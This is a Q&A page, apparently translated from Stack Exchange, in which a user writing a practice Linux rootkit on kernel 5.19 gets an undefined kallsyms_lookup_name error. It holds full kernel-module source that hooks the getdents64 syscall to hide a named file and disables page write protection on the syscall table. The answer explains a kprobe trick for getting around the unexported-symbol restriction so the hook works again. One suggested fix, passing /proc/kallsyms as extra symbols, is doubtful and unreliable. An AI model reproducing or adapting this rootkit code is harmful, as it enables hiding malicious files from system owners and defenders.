5.19.0-38-generic内核下rootkit编译报错:kallsyms_lookup_name未定义
kallsyms_lookup_name未定义 问题场景
在5.19.0-38-generic内核环境下编写rootkit练习模块,尝试通过kallsyms_lookup_name获取系统调用表地址,执行make编译时触发如下错误:
MODPOST /home/johnny/rootkit/system_call_hooking/Module.symversERROR: modpost: "kallsyms_lookup_name" [/home/johnny/rootkit/system_call_hooking/sys_hook.ko] undefined!
make[2]: *** [scripts/Makefile.modpost:128: /home/johnny/rootkit/system_call_hooking/Module.symvers] Error 1
make[1]: *** [Makefile:1764: modules] Error 2
make[1]: Leaving directory '/usr/src/linux-headers-5.19.0-38-generic'
make: *** [Makefile:5: all] Error 2
相关代码
内核模块源代码
#include <linux/init.h> #include <linux/kernel.h> #include <linux/moduleparam.h> #include <linux/unistd.h> #include <linux/semaphore.h> #include <linux/dirent.h> #include <asm/cacheflush.h> #include <linux/kallsyms.h> #include <linux/syscalls.h> MODULE_DESCRIPTION("Hide a file from getdents syscalls"); MODULE_LICENSE("GPL"); void **sys_call_table; #define FILE_NAME "thisisatestfile.txt" asmlinkage int (*original_getdents64) (unsigned int fd, struct linux_dirent64 *dirp, unsigned int count); asmlinkage int sys_getdents64_hook(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count) { int rtn; struct linux_dirent64 *cur = dirp; int i = 0; rtn = original_getdents64(fd, dirp, count); while (i < rtn) { if (strncmp(cur->d_name, FILE_NAME, strlen(FILE_NAME)) == 0) { int reclen = cur->d_reclen; char *next_rec = (char *)cur + reclen; int len = (int)dirp + rtn - (int)next_rec; memmove(cur, next_rec, len); rtn -= reclen; continue; } i += cur->d_reclen; cur = (struct linux_dirent64*) ((char*)dirp + i); } return rtn; } int set_page_rw(unsigned long addr) { unsigned int level; pte_t *pte = lookup_address(addr, &level); if (pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW; return 0; } int set_page_ro(unsigned long addr) { unsigned int level; pte_t *pte = lookup_address(addr, &level); pte->pte = pte->pte &~_PAGE_RW; return 0; } static int __init getdents_hook_init(void) { sys_call_table = (void**) kallsyms_lookup_name("sys_call_table"); original_getdents64 = sys_call_table[__NR_getdents64]; set_page_rw(sys_call_table); sys_call_table[__NR_getdents64] = sys_getdents64_hook; return 0; } static void __exit getdents_hook_exit(void) { sys_call_table[__NR_getdents64] = original_getdents64; set_page_ro(sys_call_table); } module_init(getdents_hook_init); module_exit(getdents_hook_exit);
Makefile内容
obj-m += sys_hook.o all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
解决方案
Linux内核从5.7版本开始,kallsyms_lookup_name不再导出到模块可用的符号表中,直接调用就会触发未定义符号错误,以下是两种可行的解决方法:
方法一:修改Makefile强制导出符号
在Makefile中添加编译参数,让内核导出kallsyms_lookup_name:
obj-m += sys_hook.o # 添加以下两行参数 ccflags-y += -D__EXPORTED_HEADERS__ KBUILD_EXTRA_SYMBOLS := /proc/kallsyms all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
或者直接在编译时传递参数:
make KBUILD_EXTRA_SYMBOLS=/proc/kallsyms
方法二:用kprobe动态获取函数地址
绕过直接调用未导出函数的限制,利用kprobe机制动态获取kallsyms_lookup_name的地址,修改后的初始化函数示例:
#include <linux/kprobes.h> static struct kprobe kp = { .symbol_name = "kallsyms_lookup_name" }; static int __init getdents_hook_init(void) { typedef void* (*kallsyms_lookup_name_t)(const char*); kallsyms_lookup_name_t kallsyms_lookup_name; // 注册kprobe获取函数地址 register_kprobe(&kp); kallsyms_lookup_name = (kallsyms_lookup_name_t)kp.addr; unregister_kprobe(&kp); sys_call_table = (void**) kallsyms_lookup_name("sys_call_table"); original_getdents64 = sys_call_table[__NR_getdents64]; set_page_rw(sys_call_table); sys_call_table[__NR_getdents64] = sys_getdents64_hook; return 0; }
这种方法无需修改Makefile,兼容性更强。
额外注意事项
- 确保模块声明了
MODULE_LICENSE("GPL"),否则内核可能拒绝加载(你的代码已包含该声明)。 - 5.19内核中修改系统调用表时,如果
set_page_rw函数无效,可以尝试用set_memory_rw替代,适配内核的CONFIG_STRICT_KERNEL_RWX保护机制。
内容的提问来源于stack exchange,提问作者Falafel_Truck

